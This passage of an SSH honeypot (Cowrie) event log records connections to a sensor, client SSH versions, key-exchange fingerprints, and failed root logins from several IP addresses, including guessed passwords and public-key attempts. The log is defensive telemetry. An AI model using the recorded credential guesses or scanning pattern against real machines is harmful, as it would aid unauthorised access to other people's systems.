{"eventid":"cowrie.login.failed","username":"root","password":"tset","message":"login attempt [root/tset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:15.205912Z","src_ip":"43.134.1.45","session":"b55611600e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":35028,"dst_ip":"10.17.0.5","dst_port":22,"session":"18fb1c280a4b","protocol":"ssh","message":"New connection: 89.38.96.216:35028 (10.17.0.5:22) [session: 18fb1c280a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:15.978067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:15.988844Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.036386Z","src_ip":"94.159.109.207","session":"b278d7ae3de1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.077071Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"defiant","message":"login attempt [root/defiant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.155316Z","src_ip":"171.244.37.97","session":"006e1012ac5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.445275Z","src_ip":"43.134.1.45","session":"b55611600e0f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:5d:62:b1:e2:39:90:b8:a6:80:07:f3:3e:ec:8a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/krz7GmTozC+f2fQ8jBugwC56FLvOFceZWdBYgW9D0G9vfIohL5YojM3vBxC7Fw0dEtyeQAus4esDBcUq5x3W3rfQG+LAex9q/J5AQX/wtZMdqV6YPmvVl5T8nF4B+g4nUKo70Orm6cZaXwcZ6rfWgj1LV3dMlNeBy7l994LSMak58qXJMBakKBesJ4pYiV2Xs2k4W41ZJDQatCII7qtivmhiVN+e5zYXLmbAyr9+T+HfdOA9zFnWgKyqPdpPynh8lJ/klTJjnVXnK8vxe4yWSnh2DDFoTUDNMw5zuFy+nH25vw19FShIpHXCf332jXw4T9buCZUe+JJvLIhKhD7d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:5d:62:b1:e2:39:90:b8:a6:80:07:f3:3e:ec:8a:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.500281Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:5d:62:b1:e2:39:90:b8:a6:80:07:f3:3e:ec:8a:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/krz7GmTozC+f2fQ8jBugwC56FLvOFceZWdBYgW9D0G9vfIohL5YojM3vBxC7Fw0dEtyeQAus4esDBcUq5x3W3rfQG+LAex9q/J5AQX/wtZMdqV6YPmvVl5T8nF4B+g4nUKo70Orm6cZaXwcZ6rfWgj1LV3dMlNeBy7l994LSMak58qXJMBakKBesJ4pYiV2Xs2k4W41ZJDQatCII7qtivmhiVN+e5zYXLmbAyr9+T+HfdOA9zFnWgKyqPdpPynh8lJ/klTJjnVXnK8vxe4yWSnh2DDFoTUDNMw5zuFy+nH25vw19FShIpHXCf332jXw4T9buCZUe+JJvLIhKhD7d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.504433Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:c4:a9:f3:ad:f6:1b:91:eb:08:59:72:88:da:ff:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWDhT6SVhEbvbTpLfLKdpSpyEc01PkEHAHNduHKqPoYxApmVTT8nTEfxUiX/OlYKapm1nTOETE0i0OxJnKfDKXXr22PceFmZRhCXhHYqo50Ep2LCW6rLbTw73R166akq2Pd5Aoz2k4N1fG6ISYOa7u2ZbY1X4PvKClJWC6odxzEN7+oCXS+3tIr/yktxyv3UvgbBjFc3brVXp4nko3ZNHbbhm/SYokS2YAqkPCPU6ac0zA22LoLJ/uuYqRAdnVTTAzZ0HNhwpx3y4ObPs6zLY8ImjBxA4TTl2Jr6BNLpdnMcpyk0vEIsZh8wbAWlLc/vwk1CGe44lWxhmmLgs3k9pD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:c4:a9:f3:ad:f6:1b:91:eb:08:59:72:88:da:ff:e1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.594767Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:c4:a9:f3:ad:f6:1b:91:eb:08:59:72:88:da:ff:e1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWDhT6SVhEbvbTpLfLKdpSpyEc01PkEHAHNduHKqPoYxApmVTT8nTEfxUiX/OlYKapm1nTOETE0i0OxJnKfDKXXr22PceFmZRhCXhHYqo50Ep2LCW6rLbTw73R166akq2Pd5Aoz2k4N1fG6ISYOa7u2ZbY1X4PvKClJWC6odxzEN7+oCXS+3tIr/yktxyv3UvgbBjFc3brVXp4nko3ZNHbbhm/SYokS2YAqkPCPU6ac0zA22LoLJ/uuYqRAdnVTTAzZ0HNhwpx3y4ObPs6zLY8ImjBxA4TTl2Jr6BNLpdnMcpyk0vEIsZh8wbAWlLc/vwk1CGe44lWxhmmLgs3k9pD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.598426Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:30:c8:8e:64:97:d4:c8:d8:3a:c4:00:3d:d7:23:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxmFhP0tb+yyxoTdRwF/pEGnIH6eTlxU8pL5jmWg8xS8opmUaQcQkBd83zQIxLiisg4Mu1VC6Gpxi6uZY1bFoGVRwr0+ncxV+fEX2iI92TkTkZmax2uxOHHj6Mqc1kGhsGS8voG0DFCxXw7bLmgfDmEltjJzzZIehLWYg17cAvuf3WXU2qzeyW0RZnME49F3GLgApECAE6N+onRKmvBlc8gWHu2EqOn5Wx3/LwnHaavMHJ4YdOHG5gY95VHZazPeO+QdemtyRzR1GResR5FatS020yGEYGNJxh3Po7wMaVlYdl9duFUkQwIBE7fGXWrMX1quXzD/GElVMF/F1dDhpa///rGqj5lg3D9lmvkaakPy/5tK9mltsAfU/OIu2jzrX4Lwf5+0k5Y+EO6ApIfLxsSJDDpdwO5Fr+DVmT5p+kKHyyK/H/4aowXtIcvP4DRrGm4aiWwPHSgwer0bakqMer2vOT85C5EqJEHJ46Qw/UDtZdrCbePMuqrplvvBZKpZUuvRf8YzhX6NEnxzClOtVKNABekEAwc+Ng/AQPnBgQq9uUdm1iS+/hEmoDUnJZIeRqEfHRaI9VYEzh4bmY/Q0jZd54QZJ4VGpjEn+RdMf78HpYSZqFZ6hXx4AkCZo1SqolO9CgeMehkdXyWe/W+M19afE3kEZEIytazNga/atxVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:30:c8:8e:64:97:d4:c8:d8:3a:c4:00:3d:d7:23:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.689499Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:30:c8:8e:64:97:d4:c8:d8:3a:c4:00:3d:d7:23:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxmFhP0tb+yyxoTdRwF/pEGnIH6eTlxU8pL5jmWg8xS8opmUaQcQkBd83zQIxLiisg4Mu1VC6Gpxi6uZY1bFoGVRwr0+ncxV+fEX2iI92TkTkZmax2uxOHHj6Mqc1kGhsGS8voG0DFCxXw7bLmgfDmEltjJzzZIehLWYg17cAvuf3WXU2qzeyW0RZnME49F3GLgApECAE6N+onRKmvBlc8gWHu2EqOn5Wx3/LwnHaavMHJ4YdOHG5gY95VHZazPeO+QdemtyRzR1GResR5FatS020yGEYGNJxh3Po7wMaVlYdl9duFUkQwIBE7fGXWrMX1quXzD/GElVMF/F1dDhpa///rGqj5lg3D9lmvkaakPy/5tK9mltsAfU/OIu2jzrX4Lwf5+0k5Y+EO6ApIfLxsSJDDpdwO5Fr+DVmT5p+kKHyyK/H/4aowXtIcvP4DRrGm4aiWwPHSgwer0bakqMer2vOT85C5EqJEHJ46Qw/UDtZdrCbePMuqrplvvBZKpZUuvRf8YzhX6NEnxzClOtVKNABekEAwc+Ng/AQPnBgQq9uUdm1iS+/hEmoDUnJZIeRqEfHRaI9VYEzh4bmY/Q0jZd54QZJ4VGpjEn+RdMf78HpYSZqFZ6hXx4AkCZo1SqolO9CgeMehkdXyWe/W+M19afE3kEZEIytazNga/atxVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.693597Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:bc:79:5d:cd:f9:a2:d4:5d:2e:99:dc:15:c1:2d:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDijNwZgNpxfNLWT4GFs5zqtG8K1MdYXqwJIpBF8SumMIeC2r1N9CGBrZVs9BpvpDH9HkUDIzGxDKrR7Sggxkw7iHn7GV1vi46+Lfbv2pezTpV7T54m2BnH80eJbPX0KbO4tG4OGMf+Xdye7RFBn7StYze4A8uL+wxiM9bKF74C8bOi7i3EutJNnXuFMmZtgNWqo1Mn99DeZZD0UbnTySzFc2NHa83gWRNYtrtMI9CZdfDDXwLJxd2/HbcbmXP1xhPTtMDHU8yQU+s6ulUqbjr+X+3mv4jPYD4RC6XIhuvqi8TebaNs+JDtszqU7HFwQLzzeCWRVZwuNZaYfJoTruBvs+iry1JXEQDBI30nmgovb5qCJSZ3t6onOwTCGurzSl0/6XE/CJ7gci3Cyv3Qd8fF2G1auIJeoAziLFe4joB/XpSuKujG2vg/OKkx0+YR6pxq7boHTCvJrsJBt9Y8VSjrzfw5AelHjozaHHwoMFdDvrlDkwdmbllFm3+zOZRj2dT2QQMsRsJB09QKBj+B+EeYnOJL48H+OR7VNNOvT4TBEhV2N7+CbUmzGybQfuhmXPFnrI6tPzM43ljEaUbccX7s8y5D4QefRRFerTk+0C/PXHmC8BtRnvA2vmovk8ZAq4SI96+qX0aZvF6wcx2gkWuiFVv0NBUum6G764+D87/lfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:bc:79:5d:cd:f9:a2:d4:5d:2e:99:dc:15:c1:2d:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.783822Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:bc:79:5d:cd:f9:a2:d4:5d:2e:99:dc:15:c1:2d:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDijNwZgNpxfNLWT4GFs5zqtG8K1MdYXqwJIpBF8SumMIeC2r1N9CGBrZVs9BpvpDH9HkUDIzGxDKrR7Sggxkw7iHn7GV1vi46+Lfbv2pezTpV7T54m2BnH80eJbPX0KbO4tG4OGMf+Xdye7RFBn7StYze4A8uL+wxiM9bKF74C8bOi7i3EutJNnXuFMmZtgNWqo1Mn99DeZZD0UbnTySzFc2NHa83gWRNYtrtMI9CZdfDDXwLJxd2/HbcbmXP1xhPTtMDHU8yQU+s6ulUqbjr+X+3mv4jPYD4RC6XIhuvqi8TebaNs+JDtszqU7HFwQLzzeCWRVZwuNZaYfJoTruBvs+iry1JXEQDBI30nmgovb5qCJSZ3t6onOwTCGurzSl0/6XE/CJ7gci3Cyv3Qd8fF2G1auIJeoAziLFe4joB/XpSuKujG2vg/OKkx0+YR6pxq7boHTCvJrsJBt9Y8VSjrzfw5AelHjozaHHwoMFdDvrlDkwdmbllFm3+zOZRj2dT2QQMsRsJB09QKBj+B+EeYnOJL48H+OR7VNNOvT4TBEhV2N7+CbUmzGybQfuhmXPFnrI6tPzM43ljEaUbccX7s8y5D4QefRRFerTk+0C/PXHmC8BtRnvA2vmovk8ZAq4SI96+qX0aZvF6wcx2gkWuiFVv0NBUum6G764+D87/lfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.788098Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:c2:3e:f3:80:d4:c2:c8:ab:b0:6d:70:3f:38:c0:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl9ibY+Hlzp6dpSGzOtJ7cT/MpFUllFocT4bUW/orffxZBkkol38uEybyoE1ReDecgDirNkMUxfMy+FhgEd8BHciYoMB7/YfpBGZfRv+2c7FKXt9cDEvnVtvfpZ3jPkAkoFWYN64wZLusjUooCOkpgxtP+EGx2pIJhMkA7Hv+sqGrIoGp/2aeVYcPnJ4uyVW7BByS/XYeAmn/enLIBPNHs85fUJN4c5lD2ddrprRVWBiINqKx9i/UiPip1drzDHwkAog1qs4Enm6d76m4imj6dXMJ0sSl4NcqrBSsL/fPzzr0L7CoQBIOmbU3ineJBdgoKu+1hBnlVw0cfRXbQh3L9F3ezy7wMCPw483kasHjQTSimVJo4cmznL9Diqf8QXsd9Z5K1CrQgmV78Q7hD1HKNy2uzYF8ig50yfU2+EYs3a/skzbEG8zuq17xAm6f5pvLTvqB9moNiun001wajKcrQjM2T3JqzvSohsycRzsmKqZVeGXtJa5oF8ezE/ZOD8KwkrRRmsg+fnHuJ9N9bsZnqBPhCqkcZU06ixXUchO+TJj5KPxYBsSCquL6GuHrdfCmwtr9q+zjsQfW74E4sMzogSDjBfgs0aw7Vcg+w0Y1NHhm7NL4ZsnAjGMNQXg/U5/HV0bvgqe7PK2VY7sueY0vNB5w6Uuj+eMFX/tk9XP/dMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:c2:3e:f3:80:d4:c2:c8:ab:b0:6d:70:3f:38:c0:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.878340Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:c2:3e:f3:80:d4:c2:c8:ab:b0:6d:70:3f:38:c0:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl9ibY+Hlzp6dpSGzOtJ7cT/MpFUllFocT4bUW/orffxZBkkol38uEybyoE1ReDecgDirNkMUxfMy+FhgEd8BHciYoMB7/YfpBGZfRv+2c7FKXt9cDEvnVtvfpZ3jPkAkoFWYN64wZLusjUooCOkpgxtP+EGx2pIJhMkA7Hv+sqGrIoGp/2aeVYcPnJ4uyVW7BByS/XYeAmn/enLIBPNHs85fUJN4c5lD2ddrprRVWBiINqKx9i/UiPip1drzDHwkAog1qs4Enm6d76m4imj6dXMJ0sSl4NcqrBSsL/fPzzr0L7CoQBIOmbU3ineJBdgoKu+1hBnlVw0cfRXbQh3L9F3ezy7wMCPw483kasHjQTSimVJo4cmznL9Diqf8QXsd9Z5K1CrQgmV78Q7hD1HKNy2uzYF8ig50yfU2+EYs3a/skzbEG8zuq17xAm6f5pvLTvqB9moNiun001wajKcrQjM2T3JqzvSohsycRzsmKqZVeGXtJa5oF8ezE/ZOD8KwkrRRmsg+fnHuJ9N9bsZnqBPhCqkcZU06ixXUchO+TJj5KPxYBsSCquL6GuHrdfCmwtr9q+zjsQfW74E4sMzogSDjBfgs0aw7Vcg+w0Y1NHhm7NL4ZsnAjGMNQXg/U5/HV0bvgqe7PK2VY7sueY0vNB5w6Uuj+eMFX/tk9XP/dMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.882835Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:16.972566Z","src_ip":"89.38.96.216","session":"18fb1c280a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:17.414247Z","src_ip":"171.244.37.97","session":"006e1012ac5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50842,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8bdafeeecfe","protocol":"ssh","message":"New connection: 87.251.79.125:50842 (159.203.135.109:22) [session: a8bdafeeecfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:19.544422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:19.549653Z","src_ip":"87.251.79.125","session":"a8bdafeeecfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:19.621821Z","src_ip":"87.251.79.125","session":"a8bdafeeecfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nthvbyfnjh","message":"login attempt [root/nthvbyfnjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:19.843486Z","src_ip":"87.251.79.125","session":"a8bdafeeecfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:20.918131Z","src_ip":"87.251.79.125","session":"a8bdafeeecfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:22.106156Z","src_ip":"111.32.153.180","session":"82777723d419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":33700,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aaacae9ad81","protocol":"ssh","message":"New connection: 43.153.50.197:33700 (10.17.0.5:22) [session: 2aaacae9ad81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.425608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.429911Z","src_ip":"43.153.50.197","session":"2aaacae9ad81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":44786,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa929d56af92","protocol":"ssh","message":"New connection: 43.173.83.154:44786 (10.17.0.5:22) [session: aa929d56af92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.462564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.467329Z","src_ip":"43.173.83.154","session":"aa929d56af92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:09:28.498664Z","src_ip":"43.153.50.197","session":"2aaacae9ad81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-